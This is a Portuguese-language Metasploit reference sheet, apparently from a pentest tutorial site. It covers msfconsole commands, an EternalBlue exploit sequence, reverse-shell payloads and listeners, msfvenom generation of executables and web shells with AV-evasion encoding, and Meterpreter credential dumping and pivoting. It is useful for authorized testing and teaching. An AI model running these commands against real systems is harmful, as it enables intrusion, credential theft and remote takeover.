Guia de Referência Metasploit
Referência completa do framework de exploração
Mais de 2000 exploits • Payloads • Pós-exploração • Comandos msfconsole
📑 Navegação rápida
O que é Metasploit?
Metasploit Framework é o framework de testes de penetração mais usado no mundo. Originalmente desenvolvido por H.D. Moore em 2003, agora é mantido pela Rapid7. O framework inclui milhares de exploits, centenas de payloads e extensas capacidades de pós-exploração.
Metasploit vem pré-instalado no Kali Linux. A edição Community gratuita está disponível em metasploit.com.
📦 Instalação e inicialização
Kali Linux (Pré-instalado)
msfconsole
Iniciar com banco de dados
sudo msfdb init
msfconsole
Iniciar silencioso (sem banner)
msfconsole -q
Executar comandos ao iniciar
msfconsole -x "use exploit/..."
🧭 Comandos básicos de navegação
| Comando | Descrição |
|---|---|
| help | Mostrar todos os comandos disponíveis |
| help <comando> | Obter ajuda para comando específico |
| exit / quit | Sair do msfconsole |
| back | Voltar do módulo atual |
| banner | Exibir banner aleatório |
| version | Mostrar versão do framework |
| history | Mostrar histórico de comandos |
| connect <ip> <port> | Conectar ao host (como netcat) |
🔍 Pesquisa de módulos
# Pesquisa básicasearch <palavra-chave># Pesquisa por tiposearch type:exploit <palavra-chave>search type:auxiliary <palavra-chave>search type:post <palavra-chave>search type:payload <palavra-chave># Pesquisa por plataformasearch platform:windows <palavra-chave>search platform:linux <palavra-chave># Pesquisa por CVEsearch cve:2021-44228# Pesquisa por autorsearch author:hdm# Pesquisa combinadasearch type:exploit platform:windows smb# Pesquisa por rank (excellent, great, good)search rank:excellent type:exploit
Tipos de módulos
Explorar vulnerabilidades
Scanners, fuzzers, etc.
Módulos de pós-exploração
Shellcode e payloads
Codificação de payload
Geradores de NOP
Módulos de evasão de AV
⚙️ Usando módulos
| Comando | Descrição |
|---|---|
| use <módulo> | Selecionar um módulo para usar |
| info | Mostrar informações do módulo |
| options / show options | Exibir opções do módulo |
| show advanced | Mostrar opções avançadas |
| set <opção> <valor> | Definir valor da opção |
| setg <opção> <valor> | Definir opção global (persiste) |
| unset <opção> | Limpar valor da opção |
| show payloads | Listar payloads compatíveis |
| show targets | Listar alvos do exploit |
| check | Verificar se alvo é vulnerável |
| run / exploit | Executar o módulo |
| exploit -j | Executar como job em background |
📋 Exemplo: Exploração do EternalBlue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <target>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker>
exploit
💣 Payloads
Tipos de payloads
| Tipo | Descrição |
|---|---|
| singles | Payloads autônomos (não precisa de stager) |
| stagers | Pequenos payloads que baixam o stage |
| stages | Baixados pelos stagers (ex: meterpreter) |
Payloads comuns
# Windows Meterpreter (staged)windows/meterpreter/reverse_tcpwindows/x64/meterpreter/reverse_tcp# Windows Meterpreter (stageless)windows/meterpreter_reverse_tcpwindows/x64/meterpreter_reverse_tcp# Linux Meterpreterlinux/x86/meterpreter/reverse_tcplinux/x64/meterpreter/reverse_tcp# Shells simpleswindows/shell/reverse_tcplinux/x86/shell/reverse_tcp# Payloads HTTPS (bypass de firewalls)windows/meterpreter/reverse_httpswindows/x64/meterpreter/reverse_https
💡 Staged vs Stageless
Staged (/) — payload inicial menor, baixa o meterpreter. Stageless (_) — payload completo, maior mas mais confiável. Use stageless quando restrições de rede podem bloquear o download do stage.
🎮 Comandos Meterpreter
Comandos principais
| help | Mostrar todos os comandos |
| background | Colocar sessão em background |
| exit | Terminar sessão meterpreter |
| sysinfo | Informações do sistema |
| getuid | ID do usuário atual |
| getpid | ID do processo atual |
| ps | Listar processos em execução |
| migrate <pid> | Migrar para outro processo |
| shell | Entrar no shell do sistema |
Comandos de sistema de arquivos
| pwd | Mostrar diretório de trabalho |
| cd <caminho> | Mudar diretório |
| ls | Listar arquivos |
| cat <arquivo> | Ler conteúdo do arquivo |
| download <arquivo> | Baixar arquivo para o atacante |
| upload <arquivo> | Enviar arquivo para o alvo |
| edit <arquivo> | Editar arquivo com vim |
| search -f <padrão> | Buscar arquivos |
Escalação de privilégios
| getsystem | Tentar obter privilégios SYSTEM |
| getprivs | Listar privilégios disponíveis |
| hashdump | Extrair hashes de senhas (requer SYSTEM) |
| load kiwi | Carregar extensão Mimikatz |
| creds_all | Extrair todas as credenciais (kiwi) |
Rede e pivoting
| ipconfig / ifconfig | Mostrar configuração de rede |
| arp | Exibir cache ARP |
| route | Ver tabela de roteamento |
| portfwd add -l <lport> -p <rport> -r <host> | Encaminhamento de porta |
| run autoroute -s <subnet> | Adicionar rota para pivoting |
📡 Handlers e listeners
# Configurar handler para reverse shelluse exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST <attacker> set LPORT 4444 run# Executar como job em backgroundexploit -j# Handler em uma linhamsfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST <attacker>; set LPORT 4444; run"
🔗 Gerenciamento de sessões
| Comando | Descrição |
|---|---|
| sessions | Listar todas as sessões ativas |
| sessions -i <id> | Interagir com sessão |
| sessions -k <id> | Encerrar sessão |
| sessions -u <id> | Atualizar shell para meterpreter |
| sessions -c <cmd> | Executar comando em todas as sessões |
⚙️ Gerenciamento de jobs
| jobs | Listar jobs em execução |
| jobs -k <id> | Encerrar um job |
| jobs -K | Encerrar todos os jobs |
🔧 Geração de payloads com Msfvenom
Msfvenom é usado para gerar payloads autônomos fora do msfconsole.
# Executável Windowsmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f exe -o shell.exe# DLL Windowsmsfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f dll -o shell.dll# ELF Linuxmsfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f elf -o shell.elf# Shell PHPmsfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.php# Shell Pythonmsfvenom -p python/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.py# Shell JSPmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f raw -o shell.jsp# Shell ASPmsfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -f asp -o shell.asp# Arquivo WARmsfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o shell.war# Com encoding (evasão de AV)msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker> LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o shell.exe
Opções do Msfvenom
| -p | Payload a usar |
| -f | Formato de saída (exe, dll, elf, raw, etc.) |
| -o | Arquivo de saída |
| -e | Encoder a usar |
| -i | Iterações de encoding |
| -b | Caracteres a evitar (ex: \x00\x0a) |
| -l payloads | Listar todos os payloads |
| -l formats | Listar formatos de saída |
| -l encoders | Listar encoders |
🗄️ Comandos de banco de dados
# Inicializar banco de dadossudo msfdb init# Verificar status do banco de dadosdb_status# Criar workspaceworkspace -a <nome># Trocar de workspaceworkspace <nome># Importar scan do nmapdb_import nmap_scan.xml# Executar nmap do msfconsoledb_nmap -sV -O <target># Ver hostshosts# Ver serviçosservices# Ver vulnerabilidadesvulns# Ver credenciaiscreds# Ver lootloot
🎯 Módulos úteis de pós-exploração
# Windowspost/windows/gather/hashdumppost/windows/gather/credentials/credential_collectorpost/windows/gather/enum_logged_on_userspost/windows/gather/enum_applicationspost/windows/manage/enable_rdppost/multi/recon/local_exploit_suggester# Linuxpost/linux/gather/hashdumppost/linux/gather/enum_users_historypost/linux/gather/enum_system# Multi-plataformapost/multi/gather/ssh_credspost/multi/recon/local_exploit_suggester
📚 Recursos adicionais
⚔️ Guia de referência Metasploit completo!
Você agora tem uma referência completa para o framework de exploração mais poderoso em cibersegurança. Da enumeração à exploração à pós-exploração, esses comandos são usados por testadores de penetração em todo o mundo.
Pronto para comprometer seu próximo alvo!